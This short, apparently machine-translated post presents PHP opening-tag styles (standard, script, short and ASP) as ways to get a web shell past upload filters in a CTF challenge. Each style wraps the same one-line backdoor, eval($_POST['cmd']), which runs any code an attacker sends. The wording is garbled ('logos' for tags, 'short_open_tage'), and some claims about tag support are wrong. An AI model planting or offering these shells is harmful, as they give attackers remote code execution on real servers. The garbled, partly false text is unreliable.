What are the logos of PHP?

PHP logo has 4 styles

XML style ##PHP video tutorial)

<?php
eval($_POST[&#39;cmd&#39;]); 
?>

php recommended markup style.

Server administrators cannot disable it, and this style can be used on all servers.

Script style

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

It is enabled by default and cannot be disabled

The author once encountered a CTF question that required uploading a shell, but it failed The file content is filtered,

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

Short style

<? 
eval($_POST[&#39;cmd&#39;]);
?>

This style needs to be configured in Enable the short_open_tage option in the file php.ini

This style is not supported by default in many environments

ASP style

<% 
eval($_POST[&#39;cmd&#39;]);
%>

This style The asp_tag option needs to be enabled in the configuration file php.ini

It is disabled by default

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